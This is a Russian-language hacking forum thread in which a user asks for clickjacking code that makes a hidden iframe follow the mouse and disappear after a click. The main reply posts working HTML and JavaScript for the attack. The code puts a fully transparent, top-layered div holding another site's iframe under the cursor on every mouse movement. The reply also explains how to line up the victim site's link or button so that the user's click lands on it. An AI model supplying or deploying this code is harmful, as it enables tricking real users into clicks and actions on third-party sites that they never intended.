Clcjacking

Discussion in 'PHP' started by RazyKK, 20 Mar 2012.

  1. RazyKK

    RazyKK Member

    Joined:
    9 Feb 2009
    Messages:
    127
    Likes Received:
    16
    Reputations:
    4
    Помогите с clcjacking , видел что есть вариант чтобы фрейм следовал за мышой, можно ли сделать чтобы фрейм исчезал после клика, скиньте код плз.
     
  2. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    <iframe src="" width="" height="" frameborder="" border="" onClick="this.style.display = 'none';"></iframe>
     
  3. RazyKK

    RazyKK Member

    Joined:
    9 Feb 2009
    Messages:
    127
    Likes Received:
    16
    Reputations:
    4
    |qbz| хз, фрейм видимый получается.
    В идеале хочу сделать как здесь: http_://webperflab.com/david/like.html
     
  4. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,582
    Likes Received:
    1,310
    Reputations:
    1,557
    PHP:
    <html
    <
    body style="margin:0;padding:0;cursor:default"
        <
    script type="text/javascript"
            
    window.onmousemove frameMove
            function 
    frameMove(e
            {  
                
    xdiv.style.left = (e.pageX 50) + "px"
                
    xdiv.style.top = (e.pageY 5) + "px"
                return 
    false
            } 
        
    </script> 
         
        <div id="xdiv" style="position:absolute;top:0px;left:0px; 
                                width:100px;height:10px;overflow:hidden; 
                                z-index:999;opacity:0"> 
            <iframe src="http://site.com/"  
                    frameborder="no" 
                    scrolling="no" 
                    style="position:relative;top:-240px;left:-65px; 
                            width:750px;height:350px"> 
            </iframe> 
        </div> 
    </body> 
    </html>
    Раздел (div) расположен над (z-index:999) фреймом, в котором находится сайт. overflow:hidden - скрывает область фрейма, которая находится за пределами раздела. opacity:0 - устанавливает прозрачность.
    Сначала убирай div и скрипт-обработчик onMouseMove и настраивай положение и размер фрейма (top, left, width, height) таким образом, чтобы ссылка/кнопка находилась в левом верхнем углу браузера. После этого настраивай размеры div при opacity:1 и его положение в обработчике (середина - половина размеров div).
     
    2 people like this.